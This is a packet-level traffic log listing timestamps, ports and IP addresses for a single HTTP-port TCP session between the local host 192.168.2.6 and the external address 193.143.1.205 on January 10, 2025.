Jan 10, 2025 18:21:43.104100943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.104111910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.104125023 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.104145050 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.104166031 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.147825003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.147840977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.147892952 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.182495117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.182516098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.182524920 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.182545900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.182557106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.182569027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.182584047 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.182637930 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.204371929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.204385996 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.204399109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.204411983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.204432964 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.204444885 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.204457998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.204469919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.204483032 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.204488039 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.204499006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.204519033 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.204519987 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.204530001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.204559088 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.204673052 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.204683065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.204716921 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.205724955 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.205738068 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.205749989 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.205760002 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.205781937 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.205796003 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.205804110 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.205810070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.205821991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.205832005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.205842018 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.205849886 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.205861092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.205873013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.205883026 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.205914021 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.205988884 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.206000090 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.206012011 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.206037998 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.206053019 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.206099987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.206113100 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.206152916 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.206446886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.206458092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.206468105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.206505060 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.206552982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.206563950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.206574917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.206588984 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.206593990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.206604958 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.206877947 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.206888914 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.206898928 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.206921101 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.206944942 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.207010031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.207020998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.207032919 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.207043886 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.207053900 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.207062960 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.207078934 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.207552910 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.207564116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.207576990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.207597017 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.207611084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.207628965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.207636118 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.207644939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.207665920 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.207674026 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.207683086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.207689047 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.207704067 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.207710981 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.207721949 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.207741976 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.207771063 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.208456993 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.208472013 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.208492041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.208507061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.208509922 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.208519936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.208532095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.208543062 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.208558083 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.208568096 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.208575964 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.208585978 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.208600044 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.208611012 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.208637953 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.208645105 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.209505081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.209531069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.209544897 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.209553957 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.209578991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.209593058 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.209598064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.209610939 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.209623098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.209631920 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.209645987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.209649086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.209657907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.209667921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.209676981 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.209686041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.209722996 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.210236073 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.212311029 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.238184929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.238197088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.238214016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.238239050 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.238291025 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.238312960 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.238323927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.238409042 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.273032904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.273044109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.273053885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.273081064 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.273106098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.273116112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.273133039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.273144007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.273149967 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.273159981 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.273170948 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.273195982 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.273262024 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.273272038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.273284912 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.273304939 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.294599056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.294615984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.294626951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.294682980 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.294756889 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.307595968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.307606936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.307626009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.307636976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.307647943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.307658911 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.307671070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.307718992 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.307799101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.307822943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.307832003 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.307842970 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.307852983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.307863951 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.307874918 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.307894945 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.307914019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.307924986 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.307957888 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.329282045 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.329296112 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.329307079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.329319954 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.329330921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.329374075 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.329401016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.329410076 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.329416990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.329431057 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.329441071 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.329452038 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.329467058 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.329545975 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.329557896 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.329569101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.329590082 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.329613924 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.329619884 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.329627991 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.329641104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.329659939 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.329883099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.329894066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.329904079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.329924107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.329931021 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.329941034 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.329952002 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.329958916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.329982042 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.330619097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.330630064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.330645084 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.330658913 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.330683947 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.330878973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.330889940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.330900908 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.330919981 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.330957890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.330969095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.330980062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.330991983 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.331001043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.331021070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.331027031 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.331034899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.331046104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.331056118 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.331083059 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.331135035 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.331319094 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.331329107 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.331341982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.331352949 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.331360102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.331383944 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.331407070 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.331423998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.331438065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.331446886 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.331470966 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.331506014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.331516027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.331527948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.331540108 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.331551075 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.331578016 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.331685066 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.331696033 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.331722975 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.331861019 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.331872940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.331885099 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.331923962 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.334337950 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.334350109 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.334363937 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.334376097 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.334383011 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.334400892 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.334443092 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.334454060 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.334465027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.334482908 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.334491014 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.334505081 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.334510088 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.334520102 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.334530115 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.334547997 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.334569931 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.334583044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.334593058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.334604025 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.334614992 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.334623098 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.334649086 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.334680080 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.334692001 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.334702969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.334714890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.334724903 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.334733009 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.334742069 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.334763050 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.334778070 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.335284948 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.335295916 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.335324049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.335330009 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.335338116 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.335350037 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.335362911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.335378885 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.335385084 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.335392952 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.335400105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.335422039 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.335433006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.335439920 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.335450888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.335460901 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.335469961 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.335481882 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.335494041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.335509062 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.335515976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.335524082 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.335542917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.335556030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.335566998 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.335577965 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.335585117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.335598946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.335608006 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.335635900 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.337289095 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.363563061 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.363583088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.363600016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.363610983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.363622904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.363632917 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.363646984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.363656044 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.363683939 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.363727093 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.363765001 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.385255098 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.385277987 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.385293007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.385308027 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.385330915 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.385344982 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.385358095 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.385364056 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.385375977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.385411978 CET	49709	80	192.168.2.6	193.143.1.205
